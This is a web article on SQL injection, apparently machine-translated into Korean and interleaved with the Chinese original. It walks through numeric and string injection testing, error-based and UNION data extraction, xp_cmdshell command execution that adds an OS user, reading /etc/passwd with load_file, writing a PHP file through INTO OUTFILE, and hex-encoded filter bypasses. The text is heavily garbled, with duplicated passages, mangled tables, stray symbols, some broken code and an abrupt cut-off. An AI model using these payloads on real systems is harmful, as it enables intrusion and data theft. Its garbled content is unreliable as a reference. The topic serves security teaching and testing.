>  기사  >  운영 및 유지보수  >  SQL 인젝션의 세 가지 방법은 무엇입니까?

SQL 인젝션의 세 가지 방법은 무엇입니까?

青灯夜游
青灯夜游원래의
2020-07-20 16:46:3121186검색

SQL 주입의 세 가지 방법은 다음과 같습니다. 1. 숫자 주입, 입력 매개변수가 정수인 경우 숫자 주입 취약점이 있을 수 있습니다. 2. 문자 주입; 입력 매개변수가 문자열인 경우 문자 주입 취약점이 존재할 수 있습니다. 3. 기타 유형(예: 검색 삽입, 쿠키 삽입, POST 삽입 등)

SQL 인젝션의 세 가지 방법은 무엇입니까?

SQL 주입 원리

SQL 주입 공격은 특수한 입력을 매개 변수로 구성하여 웹 애플리케이션에 전달하는 것을 의미하며 이러한 입력의 대부분은 SQL 문을 실행하여 SQL 구문의 일부 조합입니다. 그런 다음 가장 큰 이유는 프로그램이 사용자가 입력한 데이터를 세심하게 필터링하지 않아 불법 데이터가 시스템에 침입하기 때문입니다.

SQL 주입 분류

1. 숫자 주입

입력 매개변수가 정수인 경우 숫자 주입 취약점이 있을 수 있습니다.

URL이 있다고 가정합니다: HTTP://www.aaa.com/test.php?id=1HTTP://www.aaa.com/test.php?id=1
可以对后台的 SQL 语句猜测为:
SELECT * FROM table WHERE id=1

判断数字型漏洞的 SQL 注入点

① 先在输入框中输入一个单引号 '

这样的 SQL 语句就会变为:

SELECT * FROM table WHERE id=1'

不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。

② 在输入框中输入 and 1 = 1

SQL语句变为:

SELECT * FROM table WHERE id=1 and 1 = 1

语句正确,执行正常,返回的数据与原始请求无任何差异。

③ 在数据库中输入 and 1 = 2

SQL 语句变为:

SELECT * FROM table WHERE id=1 and 1 = 2

虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为永假,所以返回数据与原始请求有差异。

如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。

2. 字符型注入

当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。

字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码

假设后台的 SQL 语句如下:
SELECT * FROM table WHERE username = 'admin'

判断字符型漏洞的 SQL 注入点

① 还是先输入单引号 admin' 来测试

这样的 SQL 语句就会变为:

SELECT * FROM table WHERE username = 'admin''

页面异常。

② 输入:admin' and 1 = 1 --

注意:在 admin 后有一个单引号 ',用于字符串闭合,最后还有一个注释符 --(两条杠后面还有一个空格!!!)。

SQL 语句变为:

SELECT * FROM table WHERE username = 'admin' and 1 = 1 --

页面显示正确。

③ 输入:admin' and 1 = 2 --

SQL 语句变为:

SELECT * FROM table WHERE username = 'admin' and 1 = 2 --배경 SQL 문을 다음과 같이 추측할 수 있습니다:

SELECT * FROM table WHERE id=1

숫자 취약점의 SQL 주입 지점을 확인하려면

:

① 먼저 입력 상자에 SQL 문과 같은 작은따옴표 '

를 입력합니다.


SELECT * FROM table WHERE id=1',

은 구문을 따르지 않으므로 명령문이 확실히 잘못되어 스크립트가 데이터를 얻을 수 없게 됩니다. 데이터베이스에서 가져오므로 원본 페이지가 생성됩니다. 예외가 발생했습니다.

  • ② 입력란에 and 1 = 1을 입력하세요.
  • SQL 문은 다음과 같습니다.
  • SELECT * FROM table WHERE id=1 and 1 = 1
  • 문이 정확하고 실행이 정상이며 반환된 데이터는 원래 요청과 다르지 않습니다.
3 데이터베이스에 and 1 = 2를 입력하세요.

SQL 문은 다음과 같습니다. SELECT * FROM table WHERE id=1 and 1 = 2

구문이 정확하고 문이 정상적으로 실행되지만 1 = 2가 영구적으로 false이므로 논리가 잘못되어 반환된 데이터가 원래 요청과 다릅니다.

    위의 세 단계가 모두 충족되면 프로그램에 숫자 SQL 주입 취약점이 있을 수 있습니다.
  • 2. 문자 주입

입력 매개변수가 문자열인 경우 문자 주입 취약점이 있을 수 있습니다. 숫자 삽입과 문자 삽입의 가장 큰 차이점은 숫자 유형은 작은따옴표로 닫을 필요가 없는 반면,

문자 유형은 일반적으로 작은따옴표로 닫아야 한다는 것입니다. 🎜🎜🎜문자 삽입에서 가장 중요한 것은 🎜SQL 문을 닫는 방법🎜과 🎜중복 코드에 주석을 달는 방법🎜입니다. 🎜🎜백그라운드 SQL 문은 다음과 같다고 가정합니다. 🎜SELECT * FROM table WHERE username = 'admin'🎜🎜🎜문자 유형 취약점의 SQL 주입 지점 결정🎜: 🎜🎜🎜① 또는 다음을 입력합니다. 🎜🎜🎜 테스트하려면 작은따옴표 먼저admin'. 이러한 SQL 문은 다음과 같습니다. 🎜🎜SELECT * FROM table WHERE 사용자 이름 = 'admin''. 🎜🎜페이지 예외. 🎜🎜🎜② 입력: admin' 및 1 = 1 --🎜🎜🎜참고: admin 뒤에는 문자열을 닫는 데 사용되는 작은따옴표 '가 있습니다. , 그리고 마지막으로 주석 문자 --가 있습니다(🎜두 개의 막대 뒤에 공백이 있습니다!!!🎜). 🎜🎜SQL 문은 다음과 같습니다. 🎜🎜SELECT * FROM table WHERE 사용자 이름 = 'admin' 및 1 = 1 --🎜🎜페이지가 올바르게 표시됩니다. 🎜🎜🎜3 입력: admin' 및 1 = 2 --🎜🎜🎜SQL 문은 다음과 같습니다. 🎜🎜SELECT * FROM table WHERE username = 'admin' and 1 = 2 -- 🎜🎜페이지 오류입니다. 🎜🎜위 3가지 단계가 충족되면 문자 SQL 인젝션이 존재할 수 있습니다. 🎜🎜🎜🎜3. 기타 유형🎜🎜🎜🎜사실 SQL 인젝션에는 숫자와 문자 두 가지 유형만 있는 것 같아요. 많은 사람들은 쿠키 주입, POST 주입, 지연 주입 등과 같은 다른 방법이 있다고 말할 수 있습니다. 🎜그렇지만 이러한 유형의 주입은 궁극적으로 단지 표시 형태가 다르거나 숫자 및 문자 주입의 주입 위치가 다를 뿐입니다. 🎜🎜다음은 몇 가지 일반적인 주입 이름입니다. 🎜🎜🎜POST 주입: 주입된 필드가 POST 데이터에 있습니다. 🎜🎜쿠키 주입: 주입된 필드가 쿠키 데이터에 있습니다. 🎜🎜지연 주입: 데이터베이스 지연 기능을 사용하여 주입됩니다. 🎜🎜 검색 인젝션 : 인젝션 지점은 검색하는 곳🎜🎜base64 인젝션: 인젝션된 문자열은 base64로 암호화되어야 함🎜🎜🎜🎜🎜공통 데이터베이스 인젝션🎜🎜🎜🎜데이터베이스 인젝션의 경우 공격자는 데이터베이스를 사용하여 더 많은 데이터 획득 🎜🎜🎜 데이터 쿼리 🎜🎜 파일 읽기 및 쓰기 🎜🎜 명령어 실행 🎜🎜🎜 공격자는 프로그램 인젝션을 위해 이 세 가지 외에는 아무것도 하지 않습니다. 데이터베이스에 관계없이 다른 데이터베이스에 삽입된 SQL 문이 다를 뿐입니다. 🎜<p>다음은 Oracle 11g, MySQL 5.1 및 SQL Server 2008의 세 가지 데이터베이스에 대한 주입입니다. </p> <p><span style="font-size: 16px;"><strong>SQL Server</strong></span></p> <p><strong>1. 오류 메시지를 사용하여 정보 추출</strong></p> <p>SQL Server 데이터베이스는 오류 정보를 정확하게 찾을 수 있는 매우 좋은 데이터베이스입니다. 오류 메시지를 통해 원하는 데이터를 추출할 수 있습니다. </p> <p><strong>① 현재 테이블 또는 열 열거 </strong></p> <p> 이러한 테이블이 존재한다고 가정합니다. </p> <p><img src="https://img.php.cn/upload/article/000/000/024/0f0e3a4dbc065882893fe9a4274121a6-0.png" alt="SQL 인젝션의 세 가지 방법은 무엇입니까?"><br> 루트 사용자의 세부 정보를 쿼리합니다. SQL 문은 다음과 같이 추측됩니다. <br><code>SELECT * FROM user WHERE username = 'root' AND 비밀번호 = 'root'SELECT * FROM user WHERE username = 'root' AND password = 'root'

攻击者可以利用 SQL Server 特性来获取敏感信息,在输入框中输入如下语句:
' having 1 = 1 --
最终执行的 SQL 语句就会变为:
SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --

那么 SQL 的执行器可能会抛出一个错误:
SQL 인젝션의 세 가지 방법은 무엇입니까?

攻击者就可以发现当前的表名为 user、而且存在字段 id。

攻击者可以利用此特性继续得到其他列名,输入如下语句:
' GROUP BY users.id HAVING 1 = 1 --
则 SQL 语句变为:
SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --

抛出错误:
SQL 인젝션의 세 가지 방법은 무엇입니까?
由此可以看到包含列名 username。可以一次递归查询,知道没有错误消息返回位置,这样就可以利用 HAVING 字句得到当表的所有列名。
注:Select指定的每一列都应该出现在Group By子句中,除非对这一列使用了聚合函数

②. 利用数据类型错误提取数据

如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另一个不兼容的类型,那么SQL 编辑器将会抛出异常。

如下列 SQL 语句:
SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)

执行器错误提示:
SQL 인젝션의 세 가지 방법은 무엇입니까?
这就可以获取到用户的用户名为 root。因为在子查询 SELECT TOP 1 username FROM users 中,将查询到的用户名的第一个返回,返回类型是 varchar 类型,然后要跟 int 类型的 1 比较,两种类型不同的数据无法比较而报错,从而导致了数据泄露。

利用此方法可以递归推导出所有的账户信息:
SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))
通过构造此语句就可以获得下一个 用户名;若把子查询中的 username 换成其他列名,则可以获取其他列的信息,这里就不再赘述。

2. 获取元数据

SQL Server 提供了大量视图,便于取得元数据。可以先猜测出表的列数,然后用 UNION 来构造 SQL 语句获取其中的数据。
如:
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
공격자는 SQL Server 기능을 사용하여 중요한 정보를 얻을 수 있으며 입력 상자에 다음 명령문을 입력합니다.

' 1 = 1 -- code><p>마지막으로 실행된 SQL 문은 다음과 같습니다. </p> <code>SELECT * FROM user WHERE 사용자 이름 = 'root' AND 비밀번호 = 'root' HAVING 1 = 1 --그러면 SQL 실행 프로그램에서 An을 던질 수 있습니다. 오류: 공격자 찾을 수 있습니다 현재 테이블 이름은 user이고 필드 ID가 존재합니다. 공격자는 이 기능을 사용하여 계속해서 다른 열 이름을 얻을 수 있으며 다음 문을 입력합니다. ' GROUP BY users.id HAVING 1 = 1 --그러면 SQL 문은 다음과 같습니다. SELECT * FROM user WHERE 사용자 이름 = 'root' AND 비밀번호 = 'root' GROUP BY users.id HAVING 1 = 1 --여기에 그림 설명 삽입참고: Select로 지정된 각 열은 이 열에 집계 함수가 사용되지 않는 한 Group By 절에 표시되어야 합니다문자열을 다음과 비교하려고 하면 문자열이 아닌 비교를 수행하거나 문자열을 호환되지 않는 다른 유형으로 변환하면 SQL 편집기에서 예외가 발생합니다. 다음 SQL 문: Executor 오류 메시지: 여기에 이미지 설명 삽입SELECT * FROM users WHERE username = 'abc' AND Password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in (' root' )). 이 구문을 구성하면 다음 사용자 이름을 얻을 수 있으며, 하위 쿼리의 사용자 이름을 다른 열 이름으로 바꾸면 여기서 설명하지 않는 다른 열의 정보를 얻을 수 있습니다. 2. 메타데이터 획득 SQL Server는 메타데이터 획득을 용이하게 하기 위해 다양한 뷰를 제공합니다. 먼저 테이블의 열 수를 추측한 다음 UNION을 사용하여 SQL 문을 구성하여 데이터를 얻을 수 있습니다. 예: 현재 테이블의 열 수가 2인 경우 다음을 수행할 수 있습니다. UNION 문을 사용하여 현재 데이터베이스 테이블을 가져옵니다. 현재 테이블의 컬럼 개수를 추측하는 방법은 뒤에서 설명하겠습니다. 일반적으로 사용되는 일부 시스템 데이터베이스 보기: 설명SYS.DATABASES
오류 발생: 열 이름 username이 포함되어 있는 것을 확인할 수 있습니다. 반환되는 오류 메시지가 없을 때까지 한 번만 재귀적으로 쿼리할 수 있으므로 HAVING 절을 사용하여 테이블의 모든 열 이름을 가져올 수 있습니다.
②. 데이터를 추출하려면 데이터 유형 오류를 사용하세요
SELECT * FROM user WHERE 사용자 이름 = 'abc' AND 비밀번호 = 'abc' AND 1 > (SELECT TOP 1 username FROM users)
이렇게 하면 사용자가 표시됩니다. 사용자 이름은 다음과 같습니다. 뿌리. 하위 쿼리 SELECT TOP 1 username FROM users에서는 첫 번째 쿼리된 사용자 이름이 반환되므로 반환 유형은 varchar 유형이며 두 유형은 데이터가 다릅니다. 비교하고 오류가 보고되어 데이터가 유출됩니다. 모든 계정 정보를 재귀적으로 추론하려면 이 방법을 사용하세요.
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
데이터베이스 보기
SQL Server의 모든 데이터베이스🎜🎜🎜🎜SYS.SQL_LOGINS🎜 🎜SQL Server 로그인 이름 전체 🎜🎜🎜🎜INFORMATION_SCHEMA.TABLES🎜🎜현재 사용자 데이터베이스의 모든 데이터 테이블🎜🎜🎜🎜INFORMATION_SCHEMA.COLUMNS🎜🎜현재 사용자 데이터베이스의 모든 열🎜🎜🎜🎜SYS.ALL_COLUMNS🎜 🎜사용자 정의 개체 및 시스템 개체 연합 🎜🎜🎜🎜SYS.DATABASE_PRINCIPALS🎜🎜데이터베이스의 권한별 또는 열 예외 권한🎜🎜🎜🎜SYS.DATABASE_FILES🎜🎜데이터베이스에 저장된 데이터베이스 파일🎜🎜🎜🎜SYSOBJECTS🎜🎜 데이터베이스에 생성된 모든 개체(포함) 제약 조건, 로그 및 저장 프로시저)🎜🎜🎜🎜

3. ORDER BY 절은 열 수를 추측합니다

ORDER BY 문을 사용하여 현재 테이블의 열 수를 확인할 수 있습니다.

예:
SELECT * FROM users WHERE id = 1 - SQL 실행은 정상입니다SELECT * FROM users WHERE id = 1——SQL执行正常

SELECT * FROM users WHERE id = 1 ORDER BY 1 (按照第一列排序)——SQL执行正常

SELECT * FROM users WHERE id = 1 ORDER BY 2 (按照第二列排序)——SQL执行正常

SELECT * FROM users WHERE id = 1 ORDER BY 3 (按照第三列排序)——SQL 执行正常

SELECT * FROM users WHERE id = 1 ORDER BY 4 (按照第四列排序)——SQL 抛出异常:
SQL 인젝션의 세 가지 방법은 무엇입니까?
由此可以得出,当前表的列数只有 3 列,因为当按照第 4 列排序时报错了。在 Oracle 和 MySql  数据库中同样适用此方法。

在得知列数后,攻击者通常会配合 UNION 关键字进行下一步的攻击。

4. UNION 查询

UNION 关键字将两个或多个查询结果组合为单个结果集,大部分数据库都支持 UNION 查询。但适用 UNION 合并两个结果有如下基本规则:

  • 所有查询中的列数必须相同
  • 数据类型必须兼容

① 用 UNION 查询猜测列数
不仅可以用 ORDER BY 方法来猜测列数,UNION 方法同样可以。

在之前假设的 user 表中有 5 列,若我们用 UNION 联合查询:
SELECT * FROM users WHERE id = 1 UNION SELECT 1
数据库会发出异常:
SQL 인젝션의 세 가지 방법은 무엇입니까?
可以通过递归查询,直到无错误产生,就可以得知 User 表的查询字段数:
UNION SELECT 1,2UNION SELECT 1,2,3

也可以将 SELECT 后面的数字改为 null、这样不容易出现不兼容的异常。

② 联合查询敏感信息
在得知列数为 4后,可以使用一下语句继续注入:
UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U' (注:xtype=‘U’ 表示对象类型是表)

若第一列的数据类型不匹配,数据库会报错,那么可以递归查询,直到语句兼容。等到语句正常执行,就可以将 x 换为 SQL 语句,查询敏感信息。

5. 利用SQL Server 提供的系统函数

SQL Server 提供了非常多的系统函数,利用该系统函数可以访问 SQL Server 系统表中的信息,而无需使用 SQL 查询语句。

如:

  • SELECT suser_name():返回用户的登录标识名
  • SELECT user_name():基于指定的标识号返回数据库用户名
  • SELECT db_name():返回数据库名
  • SELECT is_member(‘db_owner’):是否为数据库角色
  • SELECT convert(int, ‘5’):数据类型转换

6. 存储过程

存储过程 (Stored Procedure) 是在大型数据库系统中为了完成特定功能的一组 SQL “函数”,如:执行系统命令、查看注册表、读取磁盘目录等。

攻击者最长使用的存储过程是 “xp_cmdshell”,这个存储过程允许用户执行操作系统命令。
例如:http://www.aaa.org/test.aspx?id=1 中存在注入点,那么攻击者就可以实施命令攻击:
http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'

最终执行的 SQL 语句如下:
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
SELECT * FROM users WHERE id = 1 ORDER BY 1(에 따라) 하나의 열로 정렬) - SQL 실행은 정상
3 SELECT * FROM users WHERE id = 1 ORDER BY 2 (두 번째 열로 정렬) - SQL 실행은 정상

4 SELECT * FROM users WHERE id = 1 ORDER BY 3 (세 번째 열 기준으로 정렬) - SQL 실행은 정상입니다

SELECT * FROM users WHERE id = 1 ORDER BY 4 (정렬) 네 번째 열 열 정렬) - SQL에서 예외가 발생합니다: 4번째 열 기준으로 정렬할 때 오류가 보고되어 현재 테이블의 열 개수는 3개만인 것으로 결론을 내릴 수 있습니다. 이 방법은 Oracle 및 MySql 데이터베이스에도 적용됩니다. 4. UNION 쿼리 UNION 키워드는 두 개 이상의 쿼리 결과를 단일 결과 집합으로 결합합니다. 하지만 UNION을 사용하여 두 결과를 병합하는 기본 규칙은 다음과 같습니다.
  • ① UNION 쿼리를 사용하여 열 개수 추측하기ORDER BY 방식을 사용하여 열 개수를 추측할 수 있을 뿐만 아니라 UNION 방식도 사용할 수 있습니다. 이전에 가정한 사용자 테이블에는 UNION을 사용하여 쿼리하는 경우 5개의 열이 있습니다. 데이터베이스에서 예외가 발생합니다. 여기에 그림 설명 삽입오류가 발생하지 않을 때까지 재귀적으로 쿼리할 수 있습니다. User 테이블의 쿼리 필드 수를 알 수 있습니다: ② 민감한 정보에 대한 Union 쿼리열 개수가 4개인 것을 확인한 후 다음 문을 사용하여 계속 주입할 수 있습니다. 첫 번째 열의 데이터 유형이 일치하지 않으면 데이터베이스에서 오류를 보고하고 재귀적으로 쿼리할 수 있습니다. 진술이 호환될 때까지. 문이 정상적으로 실행되면 x를 SQL 문으로 대체하여 민감한 정보를 쿼리할 수 있습니다. 5. SQL Server에서 제공하는 시스템 기능을 사용하세요SQL Server는 SQL 쿼리 문을 사용하지 않고도 SQL Server 시스템 테이블의 정보에 액세스할 수 있는 다양한 시스템 기능을 제공합니다.
    • SELECT suser_name(): 사용자의 로그인 식별 이름을 반환합니다.
    • SELECT user_name(): 지정된 식별 번호를 기반으로 데이터베이스 사용자 이름을 반환합니다.
    • SELECT db_name(): 데이터베이스 이름을 반환합니다.
    • SELECT is_member('db_owner'): 데이터베이스 역할인지 여부
    • SELECT Convert(int, '5'): 데이터 유형 변환
    6. 저장 프로시저"xp_cmdshell"으로, 이를 통해 사용자는 운영 체제 명령을 실행할 수 있습니다. 예: http://www.aaa.org/test.aspx?id=1에 주입 지점이 있는 경우 공격자는 명령 공격을 구현할 수 있습니다. SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add' 세미콜론 뒤의 명령문은 공격자가 사용자 이름 test 및 비밀번호 test를 사용하여 상대방 서버에 새 사용자를 생성할 수 있습니다. 참고: 어떤 데이터베이스 사용자도 이 유형의 저장 프로시저를 사용할 수 없습니다. 을 보유해야 합니다. 일반적으로 위험한 저장 프로시저는 다음과 같습니다.
    공격자는 일반적으로 컬럼 수를 파악한 후 UNION 키워드로 협력하여 다음 공격을 수행합니다.
    모든 쿼리의 열 개수는 동일해야 합니다. 데이터 유형이 호환되어야 합니다
    SELECT * FROM users WHERE id = 1 UNION SELECT 1
    UNION SELECT 1,2, UNION SELECT 1,2,3 다음 번호를 변경할 수도 있습니다. SELECT를 null로 지정하면 호환되지 않는 예외가 발생할 가능성이 줄어듭니다.
    UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype ='U' (참고: xtype='U'는 객체 유형이 테이블임을 의미합니다.)
    예:
    저장 프로시저(Stored Procedure)는 대규모 데이터베이스 시스템에서 시스템 명령 실행과 같은 특정 기능을 완료하는 데 사용되는 SQL "함수" 집합입니다. , 레지스트리 보기, 디스크 디렉터리 읽기 등 공격자가 가장 일반적으로 사용하는 저장 프로시저는
    http ://www .aaa.org/test.aspx?id=1; exec xp_cmdshell 'net user test test /add' 최종 실행된 SQL 문은 다음과 같습니다.
    사용자는 CONTROL SERVER 권한
    🎜🎜저장 프로시저 🎜🎜 설명🎜🎜🎜🎜🎜🎜sp_addlogin🎜🎜사용자가 SQL Server ID를 사용하여 SQL Server 인스턴스에 연결할 수 있는 새 SQL Server 로그인을 생성합니다🎜 🎜 🎜🎜SP_DROPUSERSTELETES 현재 데이터베이스에서 데이터베이스 사용자를 현재 데이터베이스 사용자로서 Microsoft Windows 로컬 그룹 목록을 제공하거나 지정된 Windows 도메인에서 글로벌 그룹 목록을 정의합니다. 🎜� 🎜🎜🎜🎜xp_servicecontrol🎜🎜서비스 중지 또는 활성화 🎜🎜🎜🎜

    또한 모든 데이터베이스에는 일부 특수 기능이나 저장 프로시저를 사용할 때 특정 권한이 필요합니다. 일반적인 SQL Server 데이터베이스 역할 및 권한은 다음과 같습니다.

    roles permissions
    bulkadmin BULK INSERT 문 실행 가능
    dbcreator 생성, 변경, 삭제 및 무엇이든 복원 Database
    diskadmin 디스크 파일을 관리할 수 있습니다
    processadmin 데이터베이스 엔진에서 실행되는 인스턴스를 심을 수 있습니다
    securityadmin 로그인 및 해당 속성을 관리할 수 있습니다. 수준 권한, GRANT, DENY 및 REVOKE 데이터베이스 수준 권한을 활용할 수도 있습니다. SQL Server 로그인의 비밀번호를 재설정할 수도 있습니다.
    serveradmin 서버 전체 구성 옵션을 변경하고 서버를 종료할 수 있습니다
    setupadmin 은 연결된 서버를 추가 및 제거할 수 있으며 특정 시스템 저장 프로시저를 실행할 수 있습니다.
    sysadmin 데이터베이스 엔진에서 모든 활동을 수행할 수 있습니다

    7. 동적 실행

    SQL Server는 명령문의 동적 실행을 지원합니다. 사용자는 문자열을 제출하여 SQL 문을 실행할 수 있습니다.

    예: exec('SELECT 사용자 이름, 비밀번호 FROM 사용자')exec('SELECT username, password FROM users')

    也可以通过定义十六进制的 SQL 语句,使用 exec 函数执行。大部分 Web 应用程序和防火墙都过滤了单引号,利用 exec 执行十六进制 SQL 语句可以突破很多防火墙及防注入程序,如:

    declare @query varchar(888)
    select @query=0x73656C6563742031
    exec(@query)

    或者:
    declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)

    MySQL

    前面详细讲述了 SQL Server 的注入过程,在注入其他数据库时,基本思路是相同的,只不过两者使用的函数或者是语句稍有差异

    1. MySQL 中的注释

    MySQL 支持以下 3 中注释风格:

    • “#”: 注释从 “#” 到行尾
    • "-- " :注释从 “-- ”序列到行位,需要注意的是使用此注释时,后面需要跟上空格
    • /**/:注释从 /*  到 */ 之间的字符

    2. 获取元数据

    MySQL 5.0 及其以上版本提供了 INFORMATION_SCHEMA,这是一个信息数据库,它提供了访问数据库元数据的方式。下面介绍如何从中读取数据库名称、表名称以及列名称。

    ① 查询用户数据库名称
    SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
    INFORMATION_SCHEMA.SCHEMATA 表提供了关于数据库的信息。

    ②查询当前数据表
    SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
    INFORMATION_SCHEMA.TABLES 表给出了数据库中表的信息。

    ③查询指定表的所有字段
    SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
    INFORMATION_SCHEMA.COLUMNS 表中给出了表中的列信息。

    3. UNION 查询

    与 SQL Server 大致相同,此处不赘述。

    4. MySQL 函数利用

    无论是 MySQL、Oracle 还是其他数据库都内置了许多系统函数,这些数据库函数都非常类似,接下来介绍一些对渗透测试人员很有帮助的 MySQL 函数。

    ① load_file() 函数读文件操作

    MySQL 提供了 load_file() 函数,可以帮助用户快速读取文件,但文件的位置必须在服务器上,文件必须为绝对路径,且用户必须有 FILE 权限,文件容量也必须小于 max_allowed_packet 字节 (默认为 16MB,最大为 1GB)。

    SQL 语句如下:
    UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #

    通常一些防注入语句不允许单引号出现,那么可以使用一下语句绕过:
    UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
    “0x2F6561342F706173737764” 为 “/etc/passwd” 的十六进制转换结果。

    在浏览器返回数据时,有可能存在乱码问题,那么可以使用 hex() 函数将字符串转换为十六进制数据。

    ② into outfile 写文件操作

    MySQL 提供了向磁盘写文件的操作,与 load_file() 一样,必须有 FILE 权限,并且文件必须为全路径名称。

    写入文件:
    SELECT '<?php phpinfo();?>' into oufile 'C:wwwroot1.php'

    ③ 连接字符串

    MySQL 如果需要一次查询多个数据,可以使用 concat() 或 concat_ws() 函数来完成。

    SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version());

    也可以将逗号改用十六进制表示:0x2c

    5. MySQL 显错式注入

    MySQL 也存在显错式注入,可以像 SQL Server 数据库那样,使用错误提取消息。

    ① 通过 updatexml 函数执行 SQL 语句

    首先了解下updatexml()函数:
    updatexml (XML_document, XPath_string, new_value);
    第一个参数:XML_document是String格式,为XML文档对象的名称;
    第二个参数:XPath_string (Xpath格式的字符串) ,
    第三个参数:new_value,String格式,替换查找到的符合条件的数据

    SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)
    또한 16진수 SQL 문을 정의하고 exec 함수를 사용하여 실행할 수도 있습니다. 대부분의 웹 애플리케이션과 방화벽은 작은따옴표를 필터링합니다. exec를 사용하여 16진수 SQL 문을 실행하면
    rrreeeSQL 인젝션의 세 가지 방법은 무엇입니까? 또는

    declare/**/@질문/** /varchar( 888)/**/선택하다/**/@query=0x73656C6563742031/**/exec(@query)🎜🎜🎜MySQL🎜🎜🎜SQL Server의 인젝션 과정은 앞에서 자세히 설명했습니다. 데이터베이스, 🎜기본적인 아이디어는 동일하지만 둘이 사용하는 함수나 명령문은 약간 다릅니다🎜. 🎜🎜🎜1. MySQL의 주석 🎜🎜🎜MySQL은 다음 3가지 주석 스타일을 지원합니다: 🎜
    • "#": 주석은 "#"부터 줄 끝까지
    • " -- " : 주석은 "--" 순서에서 줄 위치로 이동합니다. 이 주석을 사용할 때 뒤에 공백이 와야 한다는 점에 유의해야 합니다.
    • /**/: /*부터 */까지의 문자를 주석 처리합니다.
    🎜🎜2. 메타데이터 가져오기 🎜🎜🎜MySQL 5.0 이상에서는 데이터베이스 메타데이터에 액세스하는 방법을 제공하는 정보 데이터베이스인 INFORMATION_SCHEMA를 제공합니다. 데이터베이스 이름, 테이블 이름, 열 이름을 읽는 방법은 다음과 같습니다. 🎜🎜① 사용자 데이터베이스 이름을 쿼리합니다.🎜INFORMATION_SCHEMA.SCHEMATA에서 SCHEMA_NAME 선택🎜INFORMATION_SCHEMA.SCHEMATA 테이블은 데이터베이스에 대한 정보를 제공합니다. 🎜🎜②현재 데이터 테이블 쿼리🎜SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())🎜INFORMATION_SCHEMA.TABLES 테이블은 데이터베이스의 테이블에 대한 정보를 제공합니다. 🎜🎜3지정된 테이블의 모든 필드를 쿼리합니다.🎜SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'🎜INFORMATION_SCHEMA.COLUMNS 테이블에 포함된 열 정보가 테이블에 제공됩니다. 🎜🎜🎜3. UNION 쿼리🎜🎜🎜는 SQL Server와 거의 동일하므로 여기서는 설명하지 않습니다. 🎜🎜🎜4. MySQL 기능 활용🎜🎜🎜MySQL, Oracle 또는 기타 데이터베이스에 내장된 시스템 기능은 매우 유사합니다. 다음으로 매우 유용한 몇 가지 MySQL 기능을 소개하겠습니다. 침투 테스터. 🎜🎜🎜① 파일을 읽는 load_file() 함수 🎜🎜🎜MySQL은 사용자가 파일을 빠르게 읽을 수 있도록 load_file() 함수를 제공하지만, 파일의 위치는 서버에 있어야 하고, 파일은 절대 경로여야 하며, 사용자는 FILE 권한이 있어야 하며, 파일 크기도 max_allowed_packet 바이트보다 작아야 합니다(기본값은 16MB, 최대값은 1GB). 🎜🎜SQL 문은 다음과 같습니다. 🎜UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #🎜🎜보통 일부 삽입 방지 문에서는 작은따옴표 표시를 허용하지 않습니다. 이므로 다음 문을 사용할 수 있습니다. Bypass: 🎜UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #🎜 "0x2F6561342F706173737764"는 "/etc/passwd"의 16진수 변환 결과입니다. 🎜🎜브라우저가 데이터를 반환할 때 문자가 깨져 보일 수 있으므로 hex() 함수를 사용하여 문자열을 16진수 데이터로 변환할 수 있습니다. 🎜🎜🎜② outfile 파일 쓰기 작업🎜🎜🎜MySQL은 파일을 디스크에 쓰는 작업을 제공합니다. load_file()과 마찬가지로 FILE 권한이 있어야 하며 파일은 전체 경로 이름이어야 합니다. 🎜🎜파일에 쓰기: 🎜SELECT '<?php phpinfo();?>'를 oufile 'C:wwwroot1.php'🎜🎜🎜3 연결 문자열 🎜🎜🎜MySQL 필요한 경우 한 번에 여러 데이터를 쿼리하려면 concat() 또는 concat_ws() 함수를 사용하여 완료할 수 있습니다. 🎜🎜SELECT name FROM 학생 WHERE id = 1 UNION SELECT concat(user(), ',', Database(), ',', version());🎜🎜 대신 쉼표를 사용할 수도 있습니다. 16진수 표현: 0x2c🎜🎜🎜5. MySQL 명시적 오류 주입🎜🎜🎜MySQL에는 오류를 사용하여 SQL Server 데이터베이스와 같은 메시지를 추출할 수 있는 명시적 오류 주입 기능도 있습니다. 🎜🎜🎜① updatexml 